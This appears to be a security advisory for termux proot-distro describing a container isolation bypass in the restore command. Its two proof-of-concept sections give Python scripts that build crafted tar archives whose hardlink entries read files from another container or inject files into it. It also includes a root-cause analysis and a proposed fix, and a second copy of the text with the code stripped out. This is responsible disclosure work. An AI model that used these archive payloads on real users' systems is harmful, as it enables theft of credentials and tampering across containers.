Container Isolation Bypass via Crafted Restore Archive in proot-distro restore
Repository
https://github.com/termux/proot-distro
Maintainer: @sylirre
Affected Component
- Package: proot-distro
- Affected command:
restore
- Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
- Primary CWE: CWE-668 (Exposure of Resource to Wrong Sphere)
Affected Versions
Summary
When restoring a crafted backup archive, proot-distro restore
accepts hardlink entries whose source path references a different installed
container.
The restore logic resolves the hardlink source from the archive's
linkname field and copies the referenced file into the container
identified by the archive entry.
Although path traversal protections correctly keep the source path inside
the proot-distro containers directory, no validation ensures that the
hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise
isolated containers, enabling both cross-container disclosure and
cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker
data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
This demonstrates that data originating from the victim container was copied
into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
Step 2 — Create a victim container
proot-distro install alpine --name victim
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
This demonstrates that attacker-controlled data can be copied into a
different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can
bypass the expected isolation boundary between installed proot-distro
containers.
Observed impacts include:
- Disclosure of files from other installed containers.
- Injection of attacker-controlled files into other installed containers.
- Exposure of SSH private keys.
- Exposure of API credentials.
- Exposure of configuration files containing secrets.
- Exposure of application databases stored inside container rootfs directories.
The issue does not escape the proot-distro containers directory but allows
archive-controlled movement of data across otherwise isolated containers.
Root Cause
During hardlink processing, the restore implementation resolves the source
container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but
the implementation does not verify that the hardlink source container is the
same container currently being restored.
As a result, archive-controlled metadata determines which installed
container is used as the source of the copy operation.
Proposed Fix
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)
This preserves existing path traversal protections while restoring the
expected isolation boundary between containers.
Additional Notes
- Issue reproduced on the official Termux package repository.
- No root access was used.
- No third-party data was accessed.
- Testing used only self-owned containers and harmless marker data.
- Cross-container disclosure reproduced using the marker value
PROOF-12345.
- Cross-container file injection reproduced using the marker value
ATTACKER_DATA.
Container Isolation Bypass via Crafted Restore Archive in
proot-distro restoreRepository
https://github.com/termux/proot-distro
Maintainer: @sylirre
Affected Component
restoreAffected Versions
Summary
When restoring a crafted backup archive,
proot-distro restoreaccepts hardlink entries whose source path references a different installed container.The restore logic resolves the hardlink source from the archive's
linknamefield and copies the referenced file into the container identified by the archive entry.Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
Verification:
Step 2 — Create an attacker container
Step 3 — Build a crafted archive
Step 4 — Restore the crafted archive
Step 5 — Read the copied file from the attacker container
Observed output:
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
Step 2 — Create a victim container
Step 3 — Build a crafted archive
Step 4 — Restore the crafted archive
Step 5 — Verify file injection into the victim container
Observed output:
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
Root Cause
During hardlink processing, the restore implementation resolves the source container from the archive's
linknamefield.The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
Proposed Fix
This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
Additional Notes
PROOF-12345.ATTACKER_DATA.